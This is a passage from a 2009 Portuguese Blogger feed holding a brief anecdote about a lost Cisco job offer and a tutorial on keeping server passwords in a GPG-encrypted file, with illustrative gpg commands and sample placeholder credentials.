class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-7245468815559779542?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/7245468815559779542/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=7245468815559779542&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/7245468815559779542'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/7245468815559779542'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/03/ssh-muito-mais-que-um-simples-shell.html' title='SSH - Muito mais que um simples shell seguro'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-6427455311372814232</id><published>2009-03-19T12:17:00.000-07:00</published><updated>2009-03-19T12:30:00.731-07:00</updated><title type='text'>Como perder uma ótima oportunidade de emprego.</title><content type='html'>&lt;span style="font-weight: bold; font-style: italic;font-family:arial;" &gt;O twitter virou febre entre os geeks de plantão, eu mesmo as vezes atualizo ele até qdo estou no banheiro, mas como muitas coisas na net podem ser utilizadas tanto para o bem quanto para o mal, um cara muito "esperto" recebeu uma proposta de emprego da Cisco e postou no twitter uma mensagem :&lt;/span&gt;&lt;br /&gt;--&lt;br /&gt;"&lt;span style="font-style: italic;font-family:georgia;" &gt;A&lt;/span&gt;&lt;em&gt;&lt;span style="font-style: italic;font-family:georgia;" &gt; Cisco me ofereceu um emprego, e agora eu preciso pesar a utilidade de um gordo salário contra viajar todo dia pra San Jose e detestar o trabalho"&lt;/span&gt;&lt;br /&gt;--&lt;br /&gt;&lt;span style="font-weight: bold;font-family:arial;" &gt;Logo ele recebeu uma resposta bem legal de um advogado da Cisco.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;--&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;em&gt;&lt;span style="font-family:georgia;"&gt;“Quem é o gerente de contração(?). Tenho certeza que eles adorariam saber que você vai odiar o trabalho."&lt;/span&gt;&lt;br /&gt;--&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:arial;" &gt;Hehe Desgraça pouca é bobagem &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:arial;" &gt;Detalhes em:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:arial;" &gt;&lt;a href="http://ciscofatty.com/ruin-a-fatty-cisco-job-with-1-tweet/"&gt;http://ciscofatty.com/ruin-a-fatty-cisco-job-with-1-tweet/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;By CleBeer |_b&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-6427455311372814232?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/6427455311372814232/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=6427455311372814232&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/6427455311372814232'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/6427455311372814232'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/03/como-perder-uma-otima-oportunidade-de.html' title='Como perder uma ótima oportunidade de emprego.'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-6459461911859351994</id><published>2009-02-28T06:47:00.000-08:00</published><updated>2009-02-28T06:49:32.637-08:00</updated><title type='text'>Protegendo senhas com GPG</title><content type='html'>&lt;p style="margin-bottom: 0cm;" align="justify"&gt;Hoje em dia é muito comum alguns administradores de rede possuirem vários servidores  &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="justify"&gt;e possuir uma senha (forte) para cada um destes servidores, nas palestras que tenho ministrado &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="justify"&gt;ja fui questinado algumas vezes de como guardar dezenas de senhas diferentes com segurança? &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="justify"&gt;Bem na minha opinião a melhor forma é guarda-las no cérebro mesmo..rsrs mas como nem  &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="justify"&gt;sempre possuimos capacidade para armazenar tais informações nos meros 10% que utilizamod do nosso &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="justify"&gt;cérebro eu decidi pesquisar sobre uma solução para tal problema e achei diversos programas que propoem  &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="justify"&gt;uma solução simples para nosso problema, eles armazenam as senhas em arquivos criptografados, ou seja &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="justify"&gt;ao invés de termos que decorar 15 senhas com 20 caracteres cada uma precisamos lembras de apenas uma única senha. &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="justify"&gt;Dentre os programas que eu achei mais interesantes estão o jpws[1], o Password Gorilla[2], o Password Dragon[3], &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="justify"&gt;e o KeePassX[4], a proposta de todos eles é bem interessante gerenciar o armazenamento de senhas de forma segura &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="justify"&gt;porém depois de ler sobre os programas eu pensei, "Perae por quê diabos estou querendo reinventar a roda?" &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="justify"&gt;a solução sempre esteve mais perto do que imaginei, basta utilizar o GnuPG[5].GnuPG (GNU Privacy Guard)  &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="justify"&gt;é um projeto openource que implementa as definições da RFC 4880[6]. O GnuPG no permite criptografar e  &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="justify"&gt;assinar arquivos, emails, etc. A utilização do GnuPG (ou gpg na linha de comando) é bem simples como veremos  &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="justify"&gt;no Exemplo a seguir para criarmos um arquivo com as nossas senhas. &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="justify"&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="justify"&gt;Primeiro verifique se vc possui o pacote gnupg instalado: &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="justify"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="justify"&gt;---&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;# dpkg -s gnupg (para sistemas debian-like) &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;# rpm -qv gnupg (para sistemas red-hat like) &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; ---&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Possuindo o gnupg instalado vamos criar uma chave de criptografia para o nosso usuário. &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;--- &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;# gpg --gen-key (Comando para gerar uma nova assinatura) &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;gpg (GnuPG) 1.4.6; Copyright (C) 2006 Free Software Foundation, Inc. &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;This program comes with ABSOLUTELY NO WARRANTY. &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;This is free software, and you are welcome to redistribute it &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;under certain conditions. See the file COPYING for details. &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt; &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;Por favor selecione o tipo de chave desejado: &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;   &lt;i&gt;(1) DSA e Elgamal (padrão) &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;   &lt;i&gt;(2) DSA (apenas assinatura) &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;   &lt;i&gt;(5) RSA (apenas assinar) &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;Sua opção? 1 &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;--- &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Escolheremos a opção 1 (padrão) &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Então seremos questionados sobre o tamanho da chave que pode ter entre 1024 e 4096 bits, &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;neste ponto quanto maior a chave mais segura ela será, no exemplo eu escolhi uma chave com  &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;2048 bits. &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;--- &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;par de chaves DSA vai ter 1024 bits. &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;ELG-E chaves podem ter o seu comprimento entre 1024 e 4096 bits. &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;Que tamanho de chave você quer? (2048) 2048 &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;--- &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Após definir o tamanho da chave seremos questionados sobre o tempo de validade &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;da chave, podemos difinir um temo X para que a chave expire porem para o nosso &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;caso como não vamos divulga-la e a utilizaremos somente para criptografar nosso arquivo de  &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;senha podemos escolhes a opção "0 = chave não expira" &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;--- &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;Por favor especifique por quanto tempo a chave deve ser válida. &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;         &lt;i&gt;0 = chave não expira &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;      &lt;i&gt;&lt;n&gt;  = chave expira em n dias &lt;/n&gt;&lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;      &lt;i&gt;&lt;n&gt;w = chave expira em n semanas &lt;/n&gt;&lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;      &lt;i&gt;&lt;n&gt;m = chave expira em n meses &lt;/n&gt;&lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;      &lt;i&gt;&lt;n&gt;y = chave expira em n anos &lt;/n&gt;&lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;A chave é valida por? (0) 0 &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;--- &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Agora vamos definir um identificador do usuário para o qual estamos criando  &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;a chave. No exemplo vamos utilizar o Zé da Silva. &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;--- &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;Você precisa de um identificador de usuário para identificar sua chave; o &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;programa constrói o identificador a partir do Nome Completo, Comentário e &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;Endereço Eletrônico desta forma: &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;    &lt;i&gt;"Heinrich Heine (Der Dichter) &lt;heinrichh@duesseldorf.de&gt;" &lt;/heinrichh@duesseldorf.de&gt;&lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt; &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;Nome completo: Ze da Silva &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;Endereço de correio eletrônico: ze@example.com &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;Comentário: Chave do Ze da Silva &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;Você selecionou este identificador de usuário: &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;    &lt;i&gt;"Ze da Silva (Chave do Ze da Silva) &lt;ze@example.com&gt;" &lt;/ze@example.com&gt;&lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt; &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;Muda (N)ome, (C)omentário, (E)ndereço ou (O)k/(S)air? O &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;--- &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Agora vamos definir uma senha para esta chave, esta é a senha que nos &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;NÃO podemos esquecer pois ele será utilizada para criptografar o nosso &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;arquivo de texto com as senhas. &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;--- &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;i&gt;Você precisa de uma frase secreta para proteger sua chave. &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt; &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;Digite a frase secreta: &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;Digite novamente a frase secreta: &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt; &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;+++++++++++++++...+++++.+++++++++++++++++++++++++.+++++++++++++++....&lt;/i&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;+++++.+++++++++++++++++++++++++++++++++++++++++++++. &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;.++++++++++.+++++++++++++++....++++++++++&gt;..+++++..+++++&gt;+++++&gt;.+++++..&gt;+++++..+++++^^^ &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;gpg: chave 62B6EE12 marcada como plenamente confiável &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;chaves pública e privada criadas e assinadas. &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt; &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;gpg: checando o trustdb &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;gpg: 3 parcial(is) necessária(s), 1 completa(s) necessária(s), modelo de confiança PGP &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;gpg: profundidade: 0 válidas:   2 assinadas:   0 confiança: 0-, 0q, 0n, 0m, 0f, 2u &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;pub   1024D/62B6EE12 2008-11-03 &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;      &lt;i&gt;Impressão digital da chave: 6686 B77A 0DEB 5FBF 6A29  33C6 74F7 8A32 62B6 EE12 &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;uid                  Ze da Silva (Chave do Ze da Silva) &lt;ze@example.com&gt; &lt;/ze@example.com&gt;&lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;sub   2048g/EB413A88 2008-11-03 &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt; &lt;/i&gt;--- &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Pronto ja temos uma chave para o Ze da Silva &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Para verificar os dados da chave criada basta utilizar o  &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;comando "gpg --list-key" &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;--- &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;# gpg --list-key &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;/root/.gnupg/pubring.gpg &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;------------------------ &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;pub   1024D/62B6EE12 2008-11-03 &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;uid                  Ze da Silva (Chave do Ze da Silva) &lt;ze@example.com&gt; &lt;/ze@example.com&gt;&lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;sub   2048g/EB413A88 2008-11-03 &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;--- &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Agora vamos ao que interessa, vamos criar um arquivo com as nossas senhas. &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;--- &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;#cat senha.txt &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;Senha de root &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;root=22#$54543%4FDDwkdk439 &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt; &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;Senha do gmail &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;ze@gmail.com = Z20r$55ec$ &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt; &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;Senha do msn &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;ze_silva@hotmail = Z3$1l\/@ &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;--- &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Agora que ja temos o arquivo com as senhas vamos criptografa-lo com &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;a chave que criamos. No comando abaixo a opção "-r" indica o ID de usuário &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;para o qual estamos criptografando este arquivo e a opção "-e" indica  &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;que queremos criptografar ao dados do arquivo senha.txt &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;--- &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;gpg -r Ze -e senha.txt &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;--- &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Após executar o comando acima vc percebera que foi criado um arquivo chamado  &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;senha.txt.gpg, este é o arquivo criptografado, com isso ja podemos apagar o arquivo &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;ariginal, (rm -f senha.txt) e ficarmos somente com o arquivo criptografado. &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Agora para visualizarmos as senhas dentro do arquivo criptografado basta executar o seguinte comando &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;--- &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;gpg -d senha.txt.gpg  &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt; &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;Você precisa de uma frase secreta para destravar a chave secreta do usuário: "Ze da Silva (Chave do Ze da Silva) &lt;ze@example.com&gt;" &lt;/ze@example.com&gt;&lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;2048-bit ELG-E chave, ID EB413A88, criada 2008-11-03 (ID principal da chave 62B6EE12) &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt; &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;Digite a frase secreta: &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; ---- &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Após digitar a frase secreta corretamente o conteudo do arquivo será exibido. &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;--- &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;gpg: criptografado com 2048-bit ELG-E chave, ID EB413A88, criado 2008-11-03 &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;      &lt;i&gt;"Ze da Silva (Chave do Ze da Silva) &lt;ze@example.com&gt;" &lt;/ze@example.com&gt;&lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;Senha de root &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;root=22#$54543%4FDDwkdk439 &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt; &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;Senha do gmail &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;ze@gmail.com = Z20r$55ec$ &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt; &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;Senha do msn &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;ze_silva@hotmail = Z3$1l\/@ &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;--- &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;  &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Outra opção legal é exportar a chave pública e enviar para outra pessoa, &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;desta forma a pessoa que receber esta chave pública também podera criptografar &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;arquivos que só vc podera descriptografar. &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Exportar chave publica: &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;--- &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;#gpg -a --export -r Ze &gt; chave_publica-Ze.asc &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;--- &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Agora é só enviar o arquivo "chave_publica-Ze.asc" &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;para alguem e pedir para ele importa-la com o comando: &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;"gpg --import" &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;--- &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;$  gpg --import /root/chave_publica-Ze.asc &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;gpg: chave 62B6EE12: chave pública "Ze da Silva (Chave do Ze da Silva) &lt;ze@example.com&gt;" importada &lt;/ze@example.com&gt;&lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;gpg: Número total processado: 1 &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;gpg:               importados: 1 &lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; --- &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Bem por enquanto é só, agora podemos ocupar a mente com outras coisas que não sejam as senhas &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Espero que seja util para alguem... &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Links &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;[1] http://jpws.sourceforge.net/ &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;[2] http://www.fpx.de/fp/Software/Gorilla/ &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;[3] http://www.passworddragon.com/ &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;[4] http://www.keepassx.org/ &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;[5] http://www.gnupg.org/ &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;[6]http://www.ietf.org/rfc/rfc4880.txt &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Se quiser enviar críticas, elogios, sugestões ou até mesmo  &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Me chamar pra tomar uma Cerveja basta enviar um email para. &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;clebeer@gmail.com &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;/p&gt; By CleBeer |_b&lt;div 